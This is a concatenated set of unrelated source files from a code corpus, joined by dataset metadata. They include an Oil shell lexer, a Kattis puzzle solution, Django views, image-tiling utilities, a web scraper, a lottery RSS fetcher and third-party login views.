R(r'\\\\[0abeEfrtnv\\\\]', Id.Char_OneChar),\n\n # Backslash that ends a line. Note '.' doesn't match a newline character.\n C('\\\\\\n', Id.Char_Literals),\n\n # e.g. \\A is not an escape, and \\x doesn't match a hex escape. We allow it,\n # but a lint tool could warn about it.\n C('\\\\', Id.Char_BadBackslash),\n]\n\n# Used by ECHO_LEXER in core/builtin.py.\nECHO_E_DEF = _C_STRING_COMMON + [\n # Note: tokens above \\0377 can either be truncated or be flagged a syntax\n # error in strict mode.\n R(r'\\\\0[0-7]{1,3}', Id.Char_Octal4),\n\n C(r'\\c', Id.Char_Stop),\n\n # e.g. 'foo', anything that's not a backslash escape\n R(r'[^\\\\\\0]+', Id.Char_Literals),\n]\n\nOCTAL3_RE = r'\\\\[0-7]{1,3}'\n\n# https://www.gnu.org/software/bash/manual/html_node/Controlling-the-PromptEvaluator.html#Controlling-the-PromptEvaluator\nPS1_DEF = [\n R(OCTAL3_RE, Id.PS_Octal3),\n R(r'\\\\[adehHjlnrstT@AuvVwW!#$\\\\]', Id.PS_Subst),\n C(r'\\[', Id.PS_LBrace), # non-printing\n C(r'\\]', Id.PS_RBrace),\n R(r'[^\\\\\\0]+', Id.PS_Literals),\n # e.g. \\x is not a valid escape.\n C('\\\\', Id.PS_BadBackslash),\n]\n\n# NOTE: Id.Ignored_LineCont is also not supported here, even though the whole\n# point of it is that supports other backslash escapes like \\n! It just\n# becomes a regular backslash.\nLEXER_DEF[lex_mode_e.SQ_C] = _C_STRING_COMMON + [\n # Silly difference! In echo -e, the syntax is \\0377, but here it's $'\\377',\n # with no leading 0.\n R(OCTAL3_RE, Id.Char_Octal3),\n\n # ' is escaped in $'' mode, but not echo -e. Ditto fr \", not sure why.\n C(r\"\\'\", Id.Char_OneChar),\n C(r'\\\"', Id.Char_OneChar),\n\n # e.g. 'foo', anything that's not a backslash escape. Need to exclude ' as\n # well.\n R(r\"[^\\\\'\\0]+\", Id.Char_Literals),\n\n C(\"'\", Id.Right_SingleQuote),\n\n # Backslash that ends the file! Caught by re2c exhaustiveness check. Parser\n # will assert; should give a better syntax error.\n C('\\\\\\0', Id.Unknown_Tok),\n]\n\nLEXER_DEF[lex_mode_e.PrintfOuter] = _C_STRING_COMMON + [\n R(OCTAL3_RE, Id.Char_Octal3),\n R(r\"[^%\\\\\\0]+\", Id.Char_Literals),\n C('%%', Id.Format_EscapedPercent),\n C('%', Id.Format_Percent),\n]\n\n# Maybe: bash also supports %(strftime)T\nLEXER_DEF[lex_mode_e.PrintfPercent] = [\n # Flags\n R('[-0 +#]', Id.Format_Flag),\n\n R('[1-9][0-9]*', Id.Format_Num),\n C('.', Id.Format_Dot),\n # We support dsq. The others we parse to display an error message.\n R('[disqbcouxXeEfFgG]', Id.Format_Type),\n R(r'[^\\0]', Id.Unknown_Tok), # any otehr char\n]\n\nLEXER_DEF[lex_mode_e.VSub_1] = [\n R(VAR_NAME_RE, Id.VSub_Name),\n # ${11} is valid, compared to $11 which is $1 and then literal 1.\n R(r'[0-9]+', Id.VSub_Number),\n C('!', Id.VSub_Bang),\n C('@', Id.VSub_At),\n C('#', Id.VSub_Pound),\n C('$', Id.VSub_Dollar),\n C('*', Id.VSub_Star),\n C('-', Id.VSub_Hyphen),\n C('?', Id.VSub_QMark),\n\n C('}', Id.Right_DollarBrace),\n\n C('\\\\\\n', Id.Ignored_LineCont),\n\n C('\\n', Id.Unknown_Tok), # newline not allowed inside ${}\n R(r'[^\\0]', Id.Unknown_Tok), # any char except newline\n]\n\nLEXER_DEF[lex_mode_e.VSub_2] = \\\n ID_SPEC.LexerPairs(Kind.VTest) + \\\n ID_SPEC.LexerPairs(Kind.VOp0) + \\\n ID_SPEC.LexerPairs(Kind.VOp1) + \\\n ID_SPEC.LexerPairs(Kind.VOp2) + \\\n ID_SPEC.LexerPairs(Kind.VOp3) + [\n C('}', Id.Right_DollarBrace),\n\n C('\\\\\\n', Id.Ignored_LineCont),\n C('\\n', Id.Unknown_Tok), # newline not allowed inside ${}\n R(r'[^\\0]', Id.Unknown_Tok), # any char except newline\n]\n\n_EXPR_ARITH_SHARED = [\n C('\\\\\\n', Id.Ignored_LineCont),\n R(r'[^\\0]', Id.Unknown_Tok) # any char. This should be a syntax error.\n]\n\n# https://www.gnu.org/software/bash/manual/html_node/Shell-Arithmetic.html#Shell-Arithmetic\nLEXER_DEF[lex_mode_e.Arith] = \\\n _LEFT_SUBS + _VARS + _LEFT_UNQUOTED + [\n\n # Arithmetic expressions can cross newlines.\n R(r'[ \\t\\r\\n]+', Id.Ignored_Space),\n\n # Examples of arith constants:\n # 64#azAZ\n # 0xabc 0xABC\n # 0123\n # A separate digits token makes this easier to parse STATICALLY. But this\n # doesn't help with DYNAMIC parsing.\n R(VAR_NAME_RE, Id.Lit_ArithVarLike), # for variable names or 64#_\n R(r'[0-9]+', Id.Lit_Digits),\n C('@', Id.Lit_At), # for 64#@ or ${a[@]}\n C('#', Id.Lit_Pound), # for 64#a\n\n# TODO: 64#@ interferes with VS_AT. Hm.\n] + ID_SPEC.LexerPairs(Kind.Arith) + _EXPR_ARITH_SHARED\n\n# A lexer for the parser that converts globs to extended regexes. Since we're\n# only parsing character classes ([^[:space:][:alpha:]]) as opaque blobs, we\n# don't need lexer modes here.\nGLOB_DEF = [\n # These could be operators in the glob, or just literals in a char class,\n # e.g. touch '?'; echo [?].\n C('*', Id.Glob_Star),\n C('?', Id.Glob_QMark),\n\n # For negation.\n C('!', Id.Glob_Bang),\n C('^', Id.Glob_Caret),\n\n # Character classes.\n C('[', Id.Glob_LBracket),\n C(']', Id.Glob_RBracket),\n\n # There is no whitelist of characters; backslashes are unconditionally\n # removed. With libc.fnmatch(), the pattern r'\\f' matches 'f' but not '\\\\f'.\n # See libc_test.py.\n R(r'\\\\[^\\0]', Id.Glob_EscapedChar),\n C('\\\\', Id.Glob_BadBackslash), # Trailing single backslash\n\n # For efficiency, combine other characters into a single token, e.g. 'py' in\n # '*.py' or 'alpha' in '[[:alpha:]]'.\n R(r'[a-zA-Z0-9_]+', Id.Glob_CleanLiterals), # no regex escaping\n R(r'[^\\0]', Id.Glob_OtherLiteral), # anything else -- examine the char\n]\n\n# History expansion. We're doing this as \"pre-lexing\" since that's what bash\n# and zsh seem to do. Example:\n#\n# $ foo=x\n# $ echo $\n# $ !!foo # expands to echo $foo and prints x\n#\n# We can also reuse this in the RootCompleter to expand history interactively.\n#\n# bash note: handled in lib/readline/histexpand.c. Quite messy and handles\n# quotes AGAIN.\n#\n# Note: \\! gets expanded to literal \\! for the real lexer, but no history\n# expansion occurs.\n\nHISTORY_DEF = [\n # Common operators.\n R(r'![!*^$]', Id.History_Op),\n\n # By command number.\n R(r'!-?[0-9]+', Id.History_Num),\n\n # Search by prefix of substring (optional '?').\n # NOTE: there are no numbers allowed here! Bash doesn't seem to support it.\n # No hyphen since it conflits with $-1 too.\n # \n # Required trailing whitespace is there to avoid conflict with [!charclass]\n # and ${!indirect}. This is a simpler hack than the one bash has. See\n # frontend/lex_test.py.\n R(r'!\\??[a-zA-Z_/.][0-9a-zA-Z_/.]+[ \\t\\r\\n]', Id.History_Search),\n\n # Comment is until end of line\n R(r\"#[^\\0]*\", Id.History_Other),\n\n # Single quoted, e.g. 'a' or $'\\n'. Terminated by another single quote or\n # end of string.\n R(r\"'[^'\\0]*'?\", Id.History_Other),\n\n # Runs of chars that are definitely not special\n R(r\"[^!\\\\'#\\0]+\", Id.History_Other),\n\n # Escaped characters. \\! disables history\n R(r'\\\\[^\\0]', Id.History_Other),\n # Other single chars, like a trailing \\ or !\n R(r'[^\\0]', Id.History_Other),\n]\n\n\nBRACE_RANGE_DEF = [\n R(r'-?[0-9]+', Id.Range_Int),\n R(r'[a-zA-Z]', Id.Range_Char), # just a single character\n R(r'\\.\\.', Id.Range_Dots),\n R(r'[^\\0]', Id.Range_Other), # invalid\n]\n\n\n#\n# Oil lexing. TODO: Move to a different file?\n#\n\n\n# Valid in lex_mode_e.{Expr,DQ_Oil}\n# Used by oil_lang/grammar_gen.py\nOIL_LEFT_SUBS = [\n C('$(', Id.Left_DollarParen),\n C('${', Id.Left_DollarBrace),\n C('$[', Id.Left_DollarBracket), # Unused now\n\n # For lazily evaluated expressions\n C('%(', Id.Expr_Reserved),\n C('%{', Id.Expr_Reserved),\n C('%[', Id.Expr_Reserved),\n]\n\n# Valid in lex_mode_e.Expr\n# TODO:\n# - raw strings with r' r\"\n# - multiline strings ''' \"\"\" r''' r\"\"\"\n# Used by oil_lang/grammar_gen.py\nOIL_LEFT_UNQUOTED = [\n C('\"', Id.Left_DoubleQuote),\n\n # In expression mode, we add the r'' and c'' prefixes for '' and $''.\n C(\"'\", Id.Left_SingleQuoteRaw),\n C(\"r'\", Id.Left_SingleQuoteRaw),\n\n C(\"c'\", Id.Left_SingleQuoteC),\n C(\"$'\", Id.Left_SingleQuoteC),\n\n # Not valid in DQ_Oil\n C('@(', Id.Left_AtParen), # Legacy shell arrays.\n C('@[', Id.Left_AtBracket), # Oil arrays. Not used yet.\n C('@{', Id.Expr_Reserved), # For table literals? Not used yet.\n]\n\n# Used by oil_lang/grammar_gen.py\nEXPR_OPS = [\n # Terminator\n C(';', Id.Op_Semi),\n C('(', Id.Op_LParen),\n C(')', Id.Op_RParen),\n # NOTE: type expressions are expressions, e.g. Dict[Str, Int]\n C('[', Id.Op_LBracket),\n C(']', Id.Op_RBracket),\n C('{', Id.Op_LBrace),\n C('}', Id.Op_RBrace),\n]\n\n\n# Newline is significant, but sometimes elided by expr_parse.py.\n_EXPR_NEWLINE_COMMENT = [\n C('\\n', Id.Op_Newline),\n R(r'#[^\\n\\0]*', Id.Ignored_Comment),\n R(r'[ \\t\\r]+', Id.Ignored_Space),\n]\n\n\n# Python 3 float literals:\n\n# digitpart ::= digit ([\"_\"] digit)*\n# fraction ::= \".\" digitpart\n# exponent ::= (\"e\" | \"E\") [\"+\" | \"-\"] digitpart\n# pointfloat ::= [digitpart] fraction | digitpart \".\"\n# exponentfloat ::= (digitpart | pointfloat) exponent\n# floatnumber ::= pointfloat | exponentfloat\n\n# This is the same as far as I can tell?\n\n# This is a hand-written re2c rule to \"refine\" the Id.Expr_Float token to \n# include undescores: 1_000.234_567\n\nLEXER_REFINEMENTS = {\n (lex_mode_e.Expr, Id.Expr_Float): \"\"\"\ndigit = [0-9]\ndigitpart = digit (\"_\"? digit)*\nfraction = \".\" digitpart\nexponent = (\"e\" | \"E\") (\"+\" | \"-\")? digitpart\nfloat = digitpart fraction? exponent? | fraction exponent?\n\"\"\"\n}\n\n# TODO: Should all of these be Kind.Op instead of Kind.Arith? And Kind.Expr?\n\n# NOTE: Borrowing tokens from Arith (i.e. $(( )) ), but not using LexerPairs().\nLEXER_DEF[lex_mode_e.Expr] = \\\n _VARS + OIL_LEFT_SUBS + OIL_LEFT_UNQUOTED + EXPR_OPS + EXPR_WORDS + \\\n EXPR_CHARS + [\n\n # https://docs.python.org/3/reference/lexical_analysis.html#integer-literals\n #\n # integer ::= decinteger | bininteger | octinteger | hexinteger\n # decinteger ::= nonzerodigit ([\"_\"] digit)* | \"0\"+ ([\"_\"] \"0\")*\n # bininteger ::= \"0\" (\"b\" | \"B\") ([\"_\"] bindigit)+\n # octinteger ::= \"0\" (\"o\" | \"O\") ([\"_\"] octdigit)+\n # hexinteger ::= \"0\" (\"x\" | \"X\") ([\"_\"] hexdigit)+\n # nonzerodigit ::= \"1\"...\"9\"\n # digit ::= \"0\"...\"9\"\n # bindigit ::= \"0\" | \"1\"\n # octdigit ::= \"0\"...\"7\"\n # hexdigit ::= digit | \"a\"...\"f\" | \"A\"...\"F\"\n\n # Python allows 0 to be written 00 or 0_0_0, which is weird.\n C('0', Id.Expr_DecInt),\n R(r'[1-9](_?[0-9])*', Id.Expr_DecInt),\n\n R(r'0[bB](_?[01])+', Id.Expr_BinInt),\n R(r'0[oO](_?[0-7])+', Id.Expr_OctInt),\n R(r'0[xX](_?[0-9a-fA-F])+', Id.Expr_HexInt),\n\n # !!! This is REFINED by a hand-written re2c rule !!!\n # The dev build is slightly different than the production build.\n R(r'[0-9]+(\\.[0-9]*)?([eE][+\\-]?[0-9]+)?', Id.Expr_Float),\n\n # These can be looked up as keywords separately, so you enforce that they have\n # space around them?\n R(VAR_NAME_RE, Id.Expr_Name),\n R('%' + VAR_NAME_RE, Id.Expr_Symbol),\n\n #\n # Arith\n #\n\n C(',', Id.Arith_Comma),\n C(':', Id.Arith_Colon), # for slicing a[1:2]\n\n C('?', Id.Arith_QMark), # regex postfix\n\n C('+', Id.Arith_Plus), # arith infix, regex postfix\n C('-', Id.Arith_Minus), # arith infix, regex postfix\n C('*', Id.Arith_Star),\n C('^', Id.Arith_Caret), # ^ rather than ** is exponentiation. xor is 'xor'.\n C('/', Id.Arith_Slash),\n\n C('<', Id.Arith_Less),\n C('>', Id.Arith_Great),\n C('<=', Id.Arith_LessEqual),\n C('>=', Id.Arith_GreatEqual),\n C('==', Id.Arith_DEqual),\n C('!=', Id.Arith_NEqual),\n\n # Bitwise operators\n C('&', Id.Arith_Amp),\n C('|', Id.Arith_Pipe),\n C('>>', Id.Arith_DGreat),\n C('<<', Id.Arith_DLess), # Doesn't Java also have <<< ?\n\n # Bitwise complement, as well as infix pattern matching\n C('~', Id.Arith_Tilde),\n C('!~', Id.Expr_NotTilde),\n\n # Left out for now:\n # ++ -- -- needed for loops, awk?\n # ! && || -- needed for find dialect\n # = += etc.\n\n C('=', Id.Arith_Equal),\n\n C('+=', Id.Arith_PlusEqual), \n C('-=', Id.Arith_MinusEqual), \n C('*=', Id.Arith_StarEqual),\n C('/=', Id.Arith_SlashEqual),\n C('%=', Id.Arith_PercentEqual),\n\n C('&=', Id.Arith_AmpEqual),\n C('|=', Id.Arith_PipeEqual),\n C('^=', Id.Arith_CaretEqual), # Exponentiation\n\n C('>>=', Id.Arith_DGreatEqual),\n C('<<=', Id.Arith_DLessEqual),\n\n #\n # Expr\n #\n\n C('.', Id.Expr_Dot), # attribute access (static or dynamic)\n C('::', Id.Expr_DColon), # static namespace access\n C('->', Id.Expr_RArrow), # dynamic dict access: be d->name->age\n # instead of d['name']['age']\n C('$', Id.Expr_Dollar), # legacy regex end: /d+ $/ (better written /d+ >/\n\n # Reserved this. Go uses it for channels, etc.\n # I guess it conflicts with -4<-3, but that's OK -- spaces suffices.\n C('<-', Id.Expr_Reserved),\n C('=>', Id.Expr_RDArrow), # for df => filter(age > 10)\n # and match (x) { 1 => \"one\" }\n # note: other languages use |>\n # R/dplyr uses %>%\n\n C('...', Id.Expr_Ellipsis), # f(...args) and maybe a[:, ...]\n\n C('//', Id.Expr_Reserved),\n # For multiline regex literals?\n C('///', Id.Expr_Reserved),\n\n # Splat operators\n C('@', Id.Expr_At),\n # NOTE: Unused\n C('@@', Id.Expr_DoubleAt),\n] + _EXPR_NEWLINE_COMMENT + _EXPR_ARITH_SHARED\n","sub_path":"frontend/lex.py","file_name":"lex.py","file_ext":"py","file_size_in_byte":26851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"285977434","text":"# https://open.kattis.com/problems/kleptography\n\ndef kleptography(key_len, message_len, last_plaintext, ciphertext):\n key = []\n plain_text = last_plaintext\n for index in range(message_len - key_len):\n res = (ord(ciphertext[-1 - index]) - ord(plain_text[-1 - index]) + 26) % 26\n plain_text = chr(res + ord('a')) + plain_text\n return plain_text\n\n\ndef test_kleptography():\n assert kleptography(1, 12, 'd', 'fzvfkdocukfu') == 'shortkeyword'\n\ndef test_2():\n assert kleptography(5, 16, 'again', 'pirpumsemoystoal') == 'marywasnosyagain'\n\nif __name__ == '__main__':\n key_len, message_len = list(map(int, input().split()))\n last_plaintext = input()\n ciphertext = input()\n print(kleptography(key_len, message_len, last_plaintext, ciphertext))","sub_path":"python/1_5/kleptography.py","file_name":"kleptography.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"174094101","text":"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.shortcuts import render\nfrom django.urls import reverse_lazy\nfrom django.views.generic import CreateView, DetailView, DeleteView, UpdateView, ListView\n\nfrom .models import Article\n\n\nclass ArticleCreateView(LoginRequiredMixin, CreateView):\n template_name = 'article_create.html'\n model = Article\n fields = ['title', 'text']\n \n def form_valid(self, form):\n form.instance.author = self.request.user\n return super().form_valid(form)\n\n\nclass ArticleDeleteView(LoginRequiredMixin, DeleteView):\n template_name = 'article_delete.html'\n model = Article\n success_url = reverse_lazy('articles_list')\n\n\nclass ArticleDetailView(LoginRequiredMixin, DetailView):\n template_name = 'article_detail.html'\n model = Article\n\n\nclass ArticlesListView(LoginRequiredMixin, ListView):\n model = Article\n paginate_by = 3\n template_name = 'articles_list.html'\n\n\nclass ArticleEditView(LoginRequiredMixin, UpdateView):\n model = Article\n template_name = 'article_edit.html'\n fields = ['title', 'text']\n","sub_path":"articles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"271965085","text":"from argparse import ArgumentParser\nimport os\nimport pandas as pd\n\nimport tifffile as tiff\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nfrom PIL import Image\nimport gc\nimport torch\nimport albumentations as A\nimport glob\n\n\ndef mask2rle(img):\n '''\n img: numpy array, 1 - mask, 0 - background\n Returns run length as string formated\n '''\n pixels= img.T.flatten()\n pixels = np.concatenate([[0], pixels, [0]])\n runs = np.where(pixels[1:] != pixels[:-1])[0] + 1\n runs[1::2] -= runs[::2]\n return ' '.join(str(x) for x in runs)\n\n \ndef rle2mask(mask_rle, shape=(1600,256)):\n '''\n mask_rle: run-length as string formated (start length)\n shape: (width,height) of array to return \n Returns numpy array, 1 - mask, 0 - background\n '''\n s = mask_rle.split()\n starts, lengths = [np.asarray(x, dtype=int) for x in (s[0:][::2], s[1:][::2])]\n starts -= 1\n ends = starts + lengths\n img = np.zeros(shape[0]*shape[1], dtype=np.uint8)\n for lo, hi in zip(starts, ends):\n img[lo:hi] = 1\n return img.reshape(shape).T\n\ndef inf_preprocess(img_name, tile_size, margin, img_id):\n os.makedirs('../tiles', exist_ok=True)\n #img_name = '../input/hubmap-kidney-segmentation/test/'+img_id+'.tiff'\n\n image = np.squeeze(tiff.imread(img_name))\n if(image.shape[0] == 3):\n image = np.transpose(image, (1,2,0))\n\n channel, width, height = image.shape[2], image.shape[1],image.shape[0]\n pad_w, pad_h = tile_size - width%tile_size, tile_size - height%tile_size\n\n num_split_w, num_split_h = int(width/tile_size)+1, int(height/tile_size)+1\n for h in range(num_split_h):\n for w in range(num_split_w):\n tile = image[max(0,h*tile_size-margin):(h+1)*tile_size+margin, max(0,w*tile_size-margin):(w+1)*tile_size+margin, :]\n if h == 0:\n tile = np.pad(tile,[[margin,0],[0,0],[0,0]],constant_values=0)\n if h == num_split_h-1:\n tile = np.pad(tile,[[0,pad_h+margin],[0,0],[0,0]],constant_values=0)\n if w == 0:\n tile = np.pad(tile,[[0,0],[margin,0],[0,0]],constant_values=0)\n if w == num_split_w-1:\n tile = np.pad(tile,[[0,0],[0,pad_w+margin],[0,0]],constant_values=0)\n #print(tile.shape)\n np.save('../tiles/{}_w{}_h{}.npy'.format(img_id,w,h) ,tile)\n del image\n gc.collect()\n #img_info[img_id] = {'width': width, 'height': height, 'num_split_w': num_split_w, 'num_split_h': num_split_h}\n return {'img_id': img_id,'width': width, 'height': height, 'num_split_w': num_split_w, 'num_split_h': num_split_h, 'pad_h': pad_h, 'pad_w': pad_w}\n\ndef inference(model, img_info, tile_size, margin, scale_factor):\n tile_size2 = int((tile_size+margin*2)/scale_factor)\n transform = A.Compose([A.Resize(height=tile_size2, width=tile_size2, interpolation=1, always_apply=True),\n A.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225], max_pixel_value=255.0, always_apply=True)])\n\n pad_w, pad_h = img_info['pad_w'], img_info['pad_h']\n \n mask = np.zeros((img_info['height']+pad_h, img_info['width']+pad_w), dtype=np.uint8)\n with torch.no_grad():\n for h in range(img_info['num_split_h']):\n for w in range(img_info['num_split_w']):\n image = np.load('../tiles/{}_w{}_h{}.npy'.format(img_info['img_id'],w,h))\n tmp_pred = np.zeros((tile_size, tile_size))\n if np.sum(image)!=0:\n image = torch.from_numpy(transform(image=image)['image'].transpose(2, 0, 1)).unsqueeze(dim=0).cuda()\n #print(images.shape)\n pred_tile = torch.sigmoid(model(image))\n pred_tile = pred_tile.cpu().detach().numpy().squeeze().astype(np.float32)\n tmp_pred = cv2.resize(pred_tile,(tile_size+margin*2,tile_size+margin*2))[margin:-margin,margin:-margin]\n mask[h*tile_size:(h+1)*tile_size, w*tile_size:(w+1)*tile_size] = tmp_pred>0.5\n return mask[:img_info['height'], :img_info['width']]\n\n\ndef dice_fn(im1, im2):\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n\n if im1.shape != im2.shape:\n raise ValueError(\"Shape mismatch: im1 and im2 must have the same shape.\")\n\n # Compute Dice coefficient\n intersection = np.logical_and(im1, im2)\n\n return 2. * intersection.sum() / (im1.sum() + im2.sum())\n\n\ndef split_image_mask(image, mask, size):\n #Pay attention to memory usage\n channel, width, height = image.shape[2], image.shape[1],image.shape[0]\n \n # padding image and mask\n pad_w, pad_h = size - width%size, size - height%size\n image = np.pad(image,[[0,pad_h],[0,pad_w],[0,0]],constant_values=0)\n mask = np.pad(mask,[[0,pad_h],[0,pad_w]],constant_values=0)\n #print(image.shape)\n \n # split\n num_split_w, num_split_h = int(image.shape[1]/size), int(image.shape[0]/size)\n split_img = np.zeros((num_split_h, num_split_w, size, size, 3))\n split_mask = np.zeros((num_split_h, num_split_w, size, size))\n for h in range(num_split_h):\n for w in range(num_split_w):\n split_img[h,w,:] = image[h*size:(h+1)*size, w*size:(w+1)*size, :]\n split_mask[h,w,:] = mask[h*size:(h+1)*size, w*size:(w+1)*size]\n return split_img, split_mask\n\n\n\ndef split_save_image_mask(image, mask, size, save_dir, img_id):\n print('processing: {}'.format(img_id))\n #Pay attention to memory usage\n channel, width, height = image.shape[2], image.shape[1],image.shape[0]\n \n # padding image and mask\n print(channel, width, height)\n pad_w, pad_h = size - width%size, size - height%size\n print('pad_w: {}, pad_h: {}'.format(pad_w, pad_h))\n image = np.pad(image,[[0,pad_h],[0,pad_w],[0,0]],constant_values=0)\n mask = np.pad(mask,[[0,pad_h],[0,pad_w]],constant_values=0)\n #print(image.shape)\n \n # split\n num_split_w, num_split_h = int(image.shape[1]/size), int(image.shape[0]/size)\n for h in range(num_split_h):\n for w in range(num_split_w):\n if np.sum(image[h*size:(h+1)*size, w*size:(w+1)*size, :])!=0:\n Image.fromarray(image[h*size:(h+1)*size, w*size:(w+1)*size, :]).save(os.path.join(save_dir,'size_{}/w{}-h{}-{}_image.png'.format(size,w,h,os.path.basename(img_id))))\n Image.fromarray(mask[h*size:(h+1)*size, w*size:(w+1)*size]).save(os.path.join(save_dir,'size_{}/w{}-h{}-{}_mask.png'.format(size,w,h,os.path.basename(img_id))))\n return\n\n\ndef main(args):\n train = pd.read_csv(args.csv)\n os.makedirs(os.path.join(args.save_dir,'size_'+str(args.size)), exist_ok=True)\n \n for idx, row in train.iterrows():\n #print(row['id'])\n #print(row['encoding'])\n img_name = os.path.join(args.data_dir, os.path.basename(row['id'])+'.tiff')\n #img_name = row['id']\n img = np.squeeze(tiff.imread(img_name))\n if(img.shape[0] == 3):\n img = np.transpose(img, (1,2,0))\n\n #encoding = row['predicted']\n encoding = row['encoding']\n mask = rle2mask(encoding,(img.shape[1],img.shape[0]))\n\n split_save_image_mask(img, mask, args.size, args.save_dir, os.path.basename(row['id']))\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n parser.add_argument(\n \"-s\", \"--size\", help=\"image size\", type=int, required=False, default=256,\n )\n parser.add_argument(\n \"-sd\", \"--save_dir\", help=\"path to save\", type=str, required=True,\n )\n parser.add_argument(\n \"-dd\", \"--data_dir\", help=\"path to data dir\", type=str, required=True,\n )\n parser.add_argument(\n \"-csv\", \"--csv\", help=\"path to csv\", type=str, required=True,\n )\n\n # args = parser.parse_args(['-dd', '../input/prostate-cancer-grade-assessment/', '-sd','../working'])\n args = parser.parse_args()\n\n main(args)\n","sub_path":"utils/preprocessing2.py","file_name":"preprocessing2.py","file_ext":"py","file_size_in_byte":7851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"601584586","text":"from bs4 import BeautifulSoup as bs\nimport urllib.request\n\nclass Scrape():\n print(\"global obj\")\n\n sites = []\n\n def __init__(self, site):\n self.site = site\n self.sites.append(self.site)\n \n def parser(self):\n print(\"parser\")\n source = urllib.request.urlopen(self).read() # try excapt for url requests \n print(\"parser 1\")\n soup = bs(source, 'lxml')\n print(\"parser 3\")\n # self.soup.append(html)\n #return soup\n \n def scraping(self):\n container = soup(\"div\", class_=\"info\") # stop hard coding \n output = open(\"output2.txt\", \"w\") #grab that dat first and store it then open and write to the file \n\n for items in container:\n # Instead of hard coding this use Data Structures and algorithums to scrape this data \n # design a program that scrape the entire web page \n # grab the content w/ decendants and common tag like h1, p, a\n try:\n title = items.span.string\n price = items.find(\"span\", class_=\"money\").string\n print(\"Try block\")\n output.write(title + \" = \" + price + \"\\n\")\n\n except AttributeError:\n print(\"Help me\")\n\n #def write_to_file(self):\n # Eventually seperate scrapping and opening/writing to file -- not sure how to share that data\n # between two diff functions though \n\n# maybe the scraping method should be inside of a sub class to Scraper()","sub_path":"modules/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"484763710","text":"from module import ProcessingXmlRss\nimport json\nfrom common import Utils\nfrom Object.Rss import Rss\nfrom module import firebasedb\nimport time\n\ndomain = 'https://xskt.com.vn'\nxpath = \"//ul[@id='ulrss']/li/a\"\nfirebase = firebasedb.initFirebase()\nresult = []\n\ndef __init__(self):\n ''\n\ndef getLotteryAsJSON(url):\n lottery = ProcessingXmlRss.processRss(url)\n json_ = json.dumps(lottery, default=lambda lottery : lottery.__dict__)\n # print(json.loads(json_))\n return json_\n\ndef getListRss():\n listRss = []\n xml = Utils.getRequestHTML('https://xskt.com.vn/rss/')\n listUrl = xml.xpath(xpath)\n for a in listUrl:\n link = domain + a.get('href')\n text = a.text\n rss = Rss()\n rss.title = text\n rss.url = link\n listRss.append(rss)\n return listRss\ndef getFullResult():\n listRss = getListRss()\n timeInt = round(int(time.time() *1000))\n ref = firebase.reference('lottery/'+ str(timeInt))\n for rss in listRss:\n print('\\n'*3 +rss.title + ' - '+ rss.url)\n result = json.loads(getLotteryAsJSON(rss.url))\n ref.set(result)\n\n\n","sub_path":"module/GetResult.py","file_name":"GetResult.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"460643291","text":"import functools\nfrom urllib import parse\n\nfrom django.shortcuts import render, redirect\n\n# Create your views here.\nfrom Bas import settings\nfrom app.ali_info import auth_token, user_info\nfrom app.models import Userinfo\n\nfrom app.wx_info import Wxlogin_info\n\n\ndef login_wx(request):\n # 微信开发者id\n appid = settings.AppID_wx\n # 作用域,网页应用目前仅填写snsapi_login\n scope = 'snsapi_login'\n # 回调地址,使用urlEncode对链接进行处理\n # redirect_uri = parse.urlencode(settings.REDIRECT_URI_wx)\n redirect_uri = settings.REDIRECT_URI_wx\n # 该参数可用于防止csrf攻击\n state = 'yanzhi'\n\n return render(request, 'login.html', {'appid': appid,\n 'scope': scope,\n 'redirect_uri': redirect_uri,\n 'state': state})\n\n\ndef User_info_wx(request):\n \"\"\"\n 微信:\n\n :param request:\n :return:\n \"\"\"\n user = Wxlogin_info()\n\n user_info = user.get_info()\n\n return render(request, 'user_info.html', locals())\n\n\ndef User_info_zfb(request):\n \"\"\"\n 支付宝:\n 获取返回的数据并保存到数据库,重定向到用户中心\n :param request:\n :return:\n \"\"\"\n # 获取auth_code\n auth_code = request.GET.get('auth_code')\n # code换access_token\n auth_tokens = auth_token(auth_code)\n # 获取用户信息\n user_info_zfbs = user_info(auth_tokens)\n userinfo_check = Userinfo.objects.filter(user_id=user_info_zfbs[0])\n if not userinfo_check:\n userinfo = Userinfo()\n userinfo.user_id = user_info_zfbs[0]\n userinfo.nike_name = user_info_zfbs[1]\n userinfo.gender = user_info_zfbs[2]\n userinfo.province = user_info_zfbs[3]\n userinfo.city = user_info_zfbs[4]\n userinfo.avatar = user_info_zfbs[5]\n userinfo.save()\n return redirect('/user/%s' % user_info_zfbs[0])\n\n\n\n\n\n# 用户中心\ndef User(request, **kwargs):\n user_id = kwargs['user_id']\n userinfos = Userinfo.objects.filter(user_id=int(user_id))\n return render(request, 'user_info.html', {'userinfos': userinfos})\n\n#\n# def core(request):\n# #@functools.wraps()\n# return render(request,'core.html')\n\n\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"55209618","text":"# Copyright (c) 2014-2015 Sine Nomine Associates\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THE SOFTWARE IS 